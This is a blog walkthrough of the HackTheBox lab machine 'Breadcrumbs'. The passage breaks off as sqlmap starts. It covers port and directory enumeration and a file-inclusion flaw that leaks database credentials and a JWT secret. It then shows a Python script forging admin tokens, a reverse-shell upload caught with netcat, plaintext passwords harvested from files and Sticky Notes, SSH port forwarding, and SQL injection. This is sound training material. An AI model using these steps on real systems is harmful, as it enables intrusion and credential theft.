NameBreadcrumbs
DifficultyHard
Release Date2021-02-20
Retired Date<don’t know>
IP Address10.10.10.228
OSWindows
Points40

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.

foothold

My very first “hard” box, and of course it had to be a Windows one πŸ˜‡. Anyway, I started as I always do, with nmap:

# Nmap 7.80 scan initiated Sun Jun 20 23:37:12 2021 as: nmap -p- -sV -sC -oN nmap breadcrumbs.htb
Nmap scan report for breadcrumbs.htb (10.10.10.228)
Host is up (0.049s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/ssl       Apache httpd (SSL-only mode)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '10.10.14.240' is not allowed to connect to this MariaDB server
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=6/20%Time=60CFC339%P=x86_64-redhat-linux-gnu%
SF:r(NULL,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.240'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -47m46s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-20T21:52:40
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 20 23:40:52 2021 -- 1 IP address (1 host up) scanned in 220.50 seconds

Funny thing I found on this box, it has SSH enabled πŸ˜†. Really not normal on windows machines, but hey, at least is similar to a Linux one πŸ˜‰. So, right from the start we can identify some services like a web server, mysql server, ssh and some other mostly-not-important-windows-services.

Time to check what’s running on the webserver:

website

Not much to be seen. The website is some kind renting system for a book library. One can see the available books by searching, but actual borrowing isn’t “yet” allowed or is experiencing “technical difficulties”.

book-borrow

Anyway, since there’s not much to seen here, let’s fire up a gobuster:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://breadcrumbs.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/06/21 00:16:31 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/Books (Status: 301)
/DB (Status: 301)
/PHP (Status: 301)
/aux (Status: 403)
/books (Status: 301)
/cgi-bin/ (Status: 403)
/com1 (Status: 403)
/com2 (Status: 403)
/com3 (Status: 403)
/com4 (Status: 403)
/con (Status: 403)
/css (Status: 301)
/db (Status: 301)
/includes (Status: 301)
/js (Status: 301)
/licenses (Status: 403)
/lpt1 (Status: 403)
/lpt2 (Status: 403)
/nul (Status: 403)
/php (Status: 301)
/phpmyadmin (Status: 403)
/portal (Status: 301)
/prn (Status: 403)
/secciοΏ½ (Status: 403)
/server-status (Status: 403)
/server-info (Status: 403)
/webalizer (Status: 403)
===============================================================
2021/06/21 00:19:43 Finished
===============================================================

Couple of interesting directories here:

  • books

    Has a bunch of HTML files with the books themselves, or at least the same content that appears when we click on a book on the reservation system:

    book3

  • php

    Only contains the search-and-reserve page we saw before

  • css/js/includes

    Just “random” stuff to make the page work

  • portal

    A login form!

    portal-login

    And we can even register a new user. Fair enough! Let’s register a user and see what this is all about.

    portal-loggedin

    Ok, “Waiting approval” doesn’t sound like the best status to be in.

    • File management is totally disabled, so maybe is only reserved for admins
    • User management is “Under construction” and only shows a list of users with its associated roles and there’s no way to activate a user from here.

    portal-users

    • Order pizza is Disabled for economical reasons
    • Finally, Check Tasks shows a bunch of tasks for the devs to do

    portal-tasks

With all this at my hand, but nothing really just “standing up” as a way in, I decided to fire a new gobuster at the portal site and see if I had a clue of what to do next.

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ gobuster dir -u http://breadcrumbs.htb/portal -w /usr/share/dirb/big.txt -x php -f
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://breadcrumbs.htb/portal
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2021/06/21 00:29:37 Starting gobuster
===============================================================
/.htpasswd/ (Status: 403)
/.htpasswd.php (Status: 403)
/.htaccess/ (Status: 403)
/.htaccess.php (Status: 403)
/DB/ (Status: 200)
/Index.php (Status: 302)
/Login.php (Status: 200)
/PHP/ (Status: 200)
/assets/ (Status: 200)
/aux/ (Status: 403)
/aux.php (Status: 403)
/com1/ (Status: 403)
/com1.php (Status: 403)
/com2/ (Status: 403)
/com2.php (Status: 403)
/com4/ (Status: 403)
/com4.php (Status: 403)
/com3/ (Status: 403)
/com3.php (Status: 403)
/con/ (Status: 403)
/con.php (Status: 403)
/cookie.php (Status: 200)
/db/ (Status: 200)
/includes/ (Status: 200)
/index.php (Status: 302)
/login.php (Status: 200)
/logout.php (Status: 302)
/lpt1/ (Status: 403)
/lpt1.php (Status: 403)
/lpt2/ (Status: 403)
/lpt2.php (Status: 403)
/nul/ (Status: 403)
/nul.php (Status: 403)
/php/ (Status: 200)
/prn/ (Status: 403)
/prn.php (Status: 403)
/secciοΏ½/ (Status: 403)
/secciοΏ½.php (Status: 403)
/signup.php (Status: 200)
/uploads/ (Status: 200)
/vendor/ (Status: 200)
===============================================================
2021/06/21 00:33:34 Finished
===============================================================

No much of anything is new. The uploads directory looked interesting but had nothing inside it. Time to start debugging the actual web application itself and find some vulnerabilities. I setup the browser to proxy requests through Burp and look for suspicious stuff.

The first thin Burp warned me about was that the site was using a JWT token.

burp-jwt

I went strait to jwt.io to decode the token and got this:

{
  "typ": "JWT",
  "alg": "HS256"
}
{
  "data": {
    "username": "r3pek"
  }
}

So, if we can somehow forge this and generate our own cookie, we can just change the name to an admin user and we might be able to use the File manager functionality. Since the signing key is nowhere to be found, I thought that the JWT token could be generated from the PHPSESSID, so I began tinkering with it in Burp submitting a bunch of values on the login.php endpoint. Turns out that the ID is calculated somehow and is based of the username:

user: r3pek
- 331101f842a0b22ab44095e8fc6c9451
- 99600f077b3fa17cac2e141a7665ca7e
- 233bb0f06aae90aefc39508f37a94bf1
- 5ff7596fb91193d14067d301ce3595ce
- a2a6a014d3bee04d7df8d5837d62e8c5

user: aaaa (pass 1111)
- 61ff9d4aaefe6bdf45681678ba89ff9d

user: bbbb (pass 1122)
- bd74ceffc5eca61ec6de3244d6b875e4

Definitely an MD5 hash, but besides understanding that it is based on one of the characters of the username (since the number of variations is equal to the number of different characters), I couldn’t figure out exactly “how” it was being generated. After some time banging my head of this I decided to look elsewhere for some more vulnerable stuff.

One of the tasks for the devs was to “Store book information on the database”, which really wasn’t because I had already found the html files containing the book information. Time to look at that page through Burp:

burp-bookreq

What we have here? A parameter with a file name? Can this be a LFI (Local File Inclusion)? Let’s just send this request over to Burp’s Repeater and try to include some other file.

burp-db

Yes! It is a LFI and now we have the DB user/pass to access it (after a little cleanup):

<?php

$host="localhost";
$port=3306;
$user="bread";
$password="jUli901";
$dbname="bread";

$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
?>

So now back to trying to impersonating an admin user. First I got the login.php file but the JWT token and/or the PHP session ID login wasn’t there, it was in a file called authController.php which was included on the login.php:

<?php
require_once 'authController.php';
?>

So here’s authController.php:

  1<?php 
  2require 'db/db.php';
  3require "cookie.php";
  4require "vendor/autoload.php";
  5use \Firebase\JWT\JWT;
  6
  7$errors = array();
  8$username = "";
  9$userdata = array();
 10$valid = false;
 11$IP = $_SERVER['REMOTE_ADDR'];
 12
 13//if user clicks on login
 14if($_SERVER['REQUEST_METHOD'] === "POST"){
 15    if($_POST['method'] == 0){
 16        $username = $_POST['username'];
 17        $password = $_POST['password'];
 18        
 19        $query = "SELECT username,position FROM users WHERE username=? LIMIT 1";
 20        $stmt = $con->prepare($query);
 21        $stmt->bind_param('s', $username);
 22        $stmt->execute();
 23        $result = $stmt->get_result();
 24        while ($row = $result->fetch_array(MYSQLI_ASSOC)){
 25            array_push($userdata, $row);
 26        }
 27        $userCount = $result->num_rows;
 28        $stmt->close();
 29
 30        if($userCount > 0){
 31            $password = sha1($password);
 32            $passwordQuery = "SELECT * FROM users WHERE password=? AND username=? LIMIT 1";
 33            $stmt = $con->prepare($passwordQuery);
 34            $stmt->bind_param('ss', $password, $username);
 35            $stmt->execute();
 36            $result = $stmt->get_result();
 37
 38            if($result->num_rows > 0){
 39                $valid = true;
 40            }
 41            $stmt->close();
 42        }
 43
 44        if($valid){
 45            session_id(makesession($username));
 46            session_start();
 47
 48            $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
 49            $data = array();
 50
 51            $payload = array(
 52                "data" => array(
 53                    "username" => $username
 54            ));
 55
 56            $jwt = JWT::encode($payload, $secret_key, 'HS256');
 57            
 58            setcookie("token", $jwt, time() + (86400 * 30), "/");
 59
 60            $_SESSION['username'] = $username;
 61            $_SESSION['loggedIn'] = true;
 62            if($userdata[0]['position'] == ""){
 63                $_SESSION['role'] = "Awaiting approval";
 64            } 
 65            else{
 66                $_SESSION['role'] = $userdata[0]['position'];
 67            }
 68            
 69            header("Location: /portal");
 70        }
 71
 72        else{
 73            $_SESSION['loggedIn'] = false;
 74            $errors['valid'] = "Username or Password incorrect";
 75        }
 76    }
 77
 78    elseif($_POST['method'] == 1){
 79        $username=$_POST['username'];
 80        $password=$_POST['password'];
 81        $passwordConf=$_POST['passwordConf'];
 82        
 83        if(empty($username)){
 84            $errors['username'] = "Username Required";
 85        }
 86        if(strlen($username) < 4){
 87            $errors['username'] = "Username must be at least 4 characters long";
 88        }
 89        if(empty($password)){
 90            $errors['password'] = "Password Required"; 
 91        }
 92        if($password !== $passwordConf){
 93            $errors['passwordConf'] = "Passwords don't match!"; 
 94        }
 95
 96        $userQuery = "SELECT * FROM users WHERE username=? LIMIT 1";
 97        $stmt = $con->prepare($userQuery);
 98        $stmt ->bind_param('s',$username);
 99        $stmt->execute();
100        $result = $stmt->get_result();
101        $userCount = $result->num_rows;
102        $stmt->close();
103
104        if($userCount > 0){
105            $errors['username'] = "Username already exists";
106        }
107
108        if(count($errors) === 0){
109            $password = sha1($password);
110            $sql = "INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')";
111            $stmt = $con->prepare($sql);
112            $stmt ->bind_param('ss', $username, $password);
113
114            if ($stmt->execute()){
115                $user_id = $con->insert_id;
116                header('Location: login.php');
117            }
118            else{
119                $_SESSION['loggedIn'] = false;
120                $errors['db_error']="Database error: failed to register";
121            }
122        }
123    }
124}

So, this file is only responsible to create the JWT token and we can clearly see the the secret key of it on line 48 above. With this information we can create a simple python program that will generate a valid JWT token for us and so we’ll be able to impersonate an admin user:

1import jwt
2
3payload = { "data": { "username": "alex" } }
4cookie = jwt.encode(payload, "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e", "HS256")
5
6print(cookie)

Now let’s just generate the token and replace it on the browser’s session:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ python generate_cookie.py 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWxleCJ9fQ.0uUvcmdkL6WbeGr99dumPYYDRUSVEi55VnzxoLmhTuc

portal-newjwt

Meh… Maybe we need to change the PHPSESSID too… But this is only valid for logged in users. Luckily, there’s a page linked on the login page as “helpers” that show the current active users, and from that list we have John, Olivia and Paul with the state of Active. Paul and John are admins so let’s just try with Paul since he’s the second on the list.

But first, we need to know how the PHPSESSID cookie is generated and for that we need to look at the cookie.php file:

 1<?php
 2/**
 3 * @param string $username  Username requesting session cookie
 4 * 
 5 * @return string $session_cookie Returns the generated cookie
 6 * 
 7 * @devteam
 8 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 9 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
10 * */
11function makesession($username){
12    $max = strlen($username) - 1;
13    $seed = rand(0, $max);
14    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
15    $session_cookie = $username.md5($key);
16
17    return $session_cookie;
18}

Now that we know how to generate the damn cookie, for the user paul we have 4 valid PHPSESSID (1 for each letter):

  1. paula2a6a014d3bee04d7df8d5837d62e8c5
  2. paul61ff9d4aaefe6bdf45681678ba89ff9d
  3. paul8c8808867b53c49777fe5559164708c3
  4. paul47200b180ccd6835d25d034eeb6e6390

Now, we just regenerate the JWT token for paul and try all this 4 PHPSESSID until we get the valid one.

portal-paul

And the winner is πŸ˜‡:

  • PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390
  • token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

And now we can use the File management options too πŸ˜‰

portal-files

Looks like we can only upload zip files… Now, is this a “request” or is this actually enforced? Luckily for use, we can check the source code of files.php:

 1<?php session_start();
 2$LOGGED_IN = false;
 3if($_SESSION['username'] !== "paul"){
 4    header("Location: ../index.php");
 5}
 6if(isset($_SESSION['loggedIn'])){
 7    $LOGGED_IN = true;
 8    require '../db/db.php';
 9}
10else{
11    header("Location: ../auth/login.php");
12    die();
13}
14?>
15<html lang="en">
16    <head>
17        <title>Binary</title>
18        <meta charset="utf-8">
19        <meta http-equiv="X-UA-Compatible" content="IE=edge">
20        <meta name="viewport" content="width=device-width, initial-scale=1">
21        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
22        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
23        <link rel="stylesheet" type="text/css" href="../assets/css/main.css">
24        <link rel="stylesheet" type="text/css" href="../assets/css/all.css">
25    </head>
26
27    <nav class="navbar navbar-default justify-content-end">
28        <div class="navbar-header justify-content-end">
29            <button type="button" class="navbar-toggle btn btn-outline-info p-3 m-3" data-toggle="collapse" data-target=".navbar-collapse"><i class="fas fa-hamburger"></i></button>
30        </div>
31
32        <div class="collapse navbar-collapse justify-content-end mr-5">
33             <ul class="navbar-nav">
34                <li class="nav-item"><a class="nav-link text-right" href="../index.php"><i class="fas fa-home"></i> Home</a></li>
35                <li class="nav-item"><a class="nav-link text-right" href="issues.php"><i class="fa fa-check" aria-hidden="true"></i> Issues</a></li>
36                <li class="nav-item"><a class="nav-link text-right" href="users.php"><i class="fa fa-user" aria-hidden="true"></i> User Management</a></li>
37                <li class="nav-item"><a class="nav-link text-right" href="#"><i class="fa fa-file" aria-hidden="true"></i> File Management</a></li>
38                <li class="nav-item"><a class="nav-link text-right" href="../auth/logout.php"><i class="fas fa-sign-out-alt"></i> Logout</a></li>
39             </ul>
40        </div>
41    </nav>
42    <body class="bg-dark">
43        <main class="main">
44            <div class="row justify-content-center text-white text-center">
45                <div class="col-md-3">
46                    <h1>Task Submission</h1>
47                    <p class="text-danger"><i class="fas fa-exclamation-circle"></i> Please upload only .zip files!</p>
48                    <form onsubmit="return false">
49                        <div class="form-group mt-5">
50                            <input type="text" class="form-control" placeholder="Task completed" id="task" name="task">
51                        </div>
52                        <div class="form-group">
53                            <input type="file" class="form-control" placeholder="Task" id="file" name="file">
54                        </div>
55                        <button type="submit" class="btn btn-outline-success btn-block py-3" id="upload">Upload</button>
56                    </form>
57                    <p id="message"></p>
58                </div>
59            </div>
60        </div>
61        </main>
62
63        <?php include "../includes/footer.php"; ?>
64        <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
65        <script type="text/javascript" src='../assets/js/files.js'></script>
66    </body>
67
68
69</html>

Doesn’t look like it from the source code, anyway, let’s just try to upload something and check with Burp what happens.

burp-upload-python

Turns out the uploaded file extension is converted to .zip. Luckily for us this is just a matter of intercepting the POST request and changing it back to whatever we want. In our case, let’s just try to upload a php reverse shell and get a shell with it πŸ˜‰.

portal-revshell

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ nc -nlvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.228.
Ncat: Connection from 10.10.10.228:61030.
SOCKET: Shell has connected! PID: 9184
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\>whoami
breadcrumbs\www-data

C:\>

And we have our foothold! πŸ˜‰

user flag

Since we’re the www-data user, we’re probably not lucky enough to have the user flag waiting for us on the Desktop:

C:\>dir users\www-data\Desktop\
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\users\www-data\Desktop

02/09/2021  12:25 AM    <DIR>          .
02/09/2021  12:25 AM    <DIR>          ..
02/09/2021  12:38 AM               146 cookiesrunner.bat
02/08/2021  06:14 AM             1,450 Microsoft Edge.lnk
02/09/2021  12:41 AM    <DIR>          usefull_cookies
02/08/2021  06:53 AM    <DIR>          xampp
               2 File(s)          1,596 bytes
               4 Dir(s)   6,085,115,904 bytes free

Yep, confirmed. We’re gonna need to get to the user flag from some other user, so let’s just see which users are available:

C:\>net user

User accounts for \\BREADCRUMBS

-------------------------------------------------------------------------------
Administrator            DefaultAccount           development              
Guest                    juliette                 sshd                     
WDAGUtilityAccount       www-data                 
The command completed successfully.


C:\>dir users
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\users

01/17/2021  02:41 AM    <DIR>          .
01/17/2021  02:41 AM    <DIR>          ..
01/26/2021  10:06 AM    <DIR>          Administrator
01/26/2021  10:11 AM    <DIR>          development
02/01/2021  06:48 AM    <DIR>          juliette
01/15/2021  04:43 PM    <DIR>          Public
02/08/2021  11:13 PM    <DIR>          www-data
               0 File(s)              0 bytes
               7 Dir(s)   6,129,364,992 bytes free

So, we have development and juliette as possible contenders. Looking at the MySQL password from the db.php file (jUli901) the user might be juliette and this might actually be the right password for her πŸ˜‡. Since we have SSH on this Windows box, we can just try those easily:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ ssh juliette@breadcrumbs.htb
juliette@breadcrumbs.htb's password: 
Permission denied, please try again.
juliette@breadcrumbs.htb's password: 

Unlucky ☹️ Looks like we need to look around and see what we have here.

This part was really tedious and was here a few hours. The thing is that the xampp directory on the www-data Desktop’s has the whole XAMPP stack in it, including all the source files for the web application, so we have a lot of places to look for eventual passwords and/or usernames combos. Eventually, my search payed of πŸ˜‰:

C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData

02/08/2021  06:37 AM    <DIR>          .
02/08/2021  06:37 AM    <DIR>          ..
11/28/2020  02:48 AM               170 alex.disabled
11/28/2020  02:48 AM               170 emma.disabled
11/28/2020  02:48 AM               170 jack.disabled
11/28/2020  02:48 AM               170 john.disabled
01/17/2021  04:11 PM               192 juliette.json
11/28/2020  02:48 AM               170 lucas.disabled
11/28/2020  02:48 AM               170 olivia.disabled
11/28/2020  02:48 AM               170 paul.disabled
11/28/2020  02:48 AM               170 sirine.disabled
11/28/2020  02:48 AM               170 william.disabled
              10 File(s)          1,722 bytes
               2 Dir(s)   6,406,676,480 bytes free

C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>type juliette.json
{
	"pizza" : "margherita",
	"size" : "large",	
	"drink" : "water",
	"card" : "VISA",
	"PIN" : "9890",
	"alternate" : {
		"username" : "juliette",
		"password" : "jUli901./())!",
	}
}

Looks like the only user allowed to order pizza is juliette and how nice of her to leave the password just like that πŸ˜†.

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ ssh juliette@breadcrumbs.htb
juliette@breadcrumbs.htb's password: 

Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

juliette@BREADCRUMBS C:\Users\juliette>whoami
breadcrumbs\juliette

juliette@BREADCRUMBS C:\Users\juliette>type Desktop\user.txt
cb20d4eec6c20d86cc3eb2b612b3256e       

juliette@BREADCRUMBS C:\Users\juliette>

User flag accomplished πŸ’ͺ

root flag sidestepping

Now, on juliette’s Desktop, besides the user flag, there’s a file called todo.html with this contents:

<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
        <tr>
            <th>Task</th>
            <th>Status</th>
            <th>Reason</th>
        </tr>
        <tr>
            <td>Configure firewall for port 22 and 445</td>
            <td>Not started</td>
            <td>Unauthorized access might be possible</td>
        </tr>
        <tr>
            <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manage
r</td>
            <td>In progress</td>
            <td>It stores passwords in plain text</td>
        </tr>
        <tr>
            <td>Add new features to password manager</td>
            <td>Not started</td>
            <td>To get promoted, hopefully lol</td>
        </tr>
</table>

</html>

So, looks like passwords are stored on Microsoft Store Sticky Notes application, but that application stores all the contents on clear text. That’s a good opportunity to find some more passwords for this box (hopefully Administrator?). Just need to find out where the app stores the notes on the filesystem. After a quick search, I found this article describing where the data was stored. The data is stored on a sqlite database named plum.sqlite on %UserProfile%\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState. Let’s just use scp to copy the database to our box and read it:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ scp juliette@breadcrumbs.htb:/C:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wek
yb3d8bbwe/LocalState/plum.sqlite* .
juliette@breadcrumbs.htb's password: 
plum.sqlite                                                                 100% 4096    76.3KB/s   00:00    
plum.sqlite-shm                                                             100%   32KB 304.5KB/s   00:00    
plum.sqlite-wal                                                             100%  322KB 348.5KB/s   00:00    

Turns out that if you only copy the plum.sqlite file, the database will be empty, so you need to copy all the plum* files.

plum-notes

And here we have the cleanup version of that field:

\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]

Oh well, unlucky on the administrator password, but we got the development one πŸ˜‰

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ ssh development@breadcrumbs.htb
development@breadcrumbs.htb's password: 

Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

development@BREADCRUMBS C:\Users\development>       

root flag

Now onto the actually root flag! After looking around I found the C:\Development directory which contains only one file: Krypter_Linux.

development@BREADCRUMBS C:\Development>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Development

01/15/2021  05:03 PM    <DIR>          .
01/15/2021  05:03 PM    <DIR>          ..
11/29/2020  04:11 AM            18,312 Krypter_Linux
               1 File(s)         18,312 bytes
               2 Dir(s)   6,422,093,824 bytes free

development@BREADCRUMBS C:\Development>Krypter_Linux 
'Krypter_Linux' is not recognized as an internal or external command,
operable program or batch file.

It doesn’t look like a Windows program, so I just copied into my box and fired up Ghidra on it.

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ scp development@breadcrumbs.htb:/C:/development/Krypter* .
development@breadcrumbs.htb's password: 
Krypter_Linux                                                               100%   18KB 169.9KB/s   00:00    

Won’t post a huge screenshot of Ghidra’s window here because you guys won’t be able to read much of the text so I’ll just drop the important function here (after some cleanup of variable names and stuff)

 1undefined8 main(int argc,char **argv)
 2{
 3  ulong keyLen;
 4  basic_ostream *this;
 5  ulong uVar1;
 6  basic_string password [44];
 7  undefined4 local_2c;
 8  long curl_handle;
 9  int index;
10  int sum;
11  
12  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
13  /* try { // try from 00101263 to 001013cf has its CatchHandler @ 001013e5 */
14  curl_handle = curl_easy_init();
15  puts(
16      "Krypter V1.2\n\nNew project by Juliette.\nNew features added weekly!\nWhat to expect next update:\n\t- Windows version with GUI support\n\t- Get password from cloud and AUTOMATICALLY decrypt!\n***\n"
17      );
18  if (argc == 2) {
19    sum = 0;
20    index = 0;
21    while( true ) {
22      uVar1 = SEXT48(index);
23      keyLen = strlen(argv[1]);
24      if (keyLen <= uVar1) break;
25      sum = sum + argv[1][index];
26      index = index + 1;
27    }
28    if (sum == 1601) {
29      if (curl_handle != 0) {
30        puts("Requesting decryption key from cloud...\nAccount: Administrator");
31        curl_easy_setopt(curl_handle,0x2712,"http://passmanager.htb:1234/index.php");
32        curl_easy_setopt(curl_handle,0x271f,"method=select&username=administrator&table=passwords");
33        curl_easy_setopt(curl_handle,0x4e2b,WriteCallback);
34        curl_easy_setopt(curl_handle,0x2711,password);
35        local_2c = curl_easy_perform(curl_handle);
36        curl_easy_cleanup(curl_handle);
37        puts("Server response:\n\n");
38        this = std::operator<<((basic_ostream *)std::cout,password);
39        std::basic_ostream<char,std::char_traits<char>>::operator<<
40                  ((basic_ostream<char,std::char_traits<char>> *)this,
41                   std::endl<char,std::char_traits<char>>);
42      }
43    }
44    else {
45      puts("Incorrect master key");
46    }
47  }
48  else {
49    puts("No key supplied.\nUSAGE:\n\nKrypter <key>");
50  }
51  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
52            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)password);
53  return 0;
54}

Basically, this function makes GET request via libcurl to http://passmanager.htb:1234/index.php with the parameters method=select&username=administrator&table=passwords. My first approach to this was really n00b 🀦. I tried to understand how to provide the correct “password” to the program so that I was abke to hit that sum == 1601 making it execute the request. Some 5 or 10 minutes later I thought: “Why am I being so dumb? I can just make the actual request myself!” 🀣🀣

Since port 1234 isn’t shown on the nmap result, it’s only running locally on the box, but we can easily get around that with SSH port forwards:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ ssh -L 1234:127.0.0.1:1234 development@breadcrumbs.htb
development@breadcrumbs.htb's password: 

Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

development@BREADCRUMBS C:\Users\development>       

Now we forwarded localhost:1234 on the box to our port 1234, so we’re able to do the same thing as the Kryptor program does:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords"
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}

Hummmm what?! πŸ˜• We got and AES Key? Where is the password?! Just to make sure, I did try that as the password but it didn’t work. So the password has to be somewhere… Well, not much to do, but if this queries the aes_key (hinted by method=select and table=passwords) from a database, it really is just “screaming” SQLi. Let’s fire up sqlmap:

β”Œβ”€[r3pek]-[~/projects/sqlmap]
β”œβ”€ sqlmap master (255dce8)
└─$ ./sqlmap.py -u "http://localhost:1234/index.php?method=select&username=*administrator&table=passwords" --dbms mysql --risk=3 --level=5 --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.6.3#dev}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
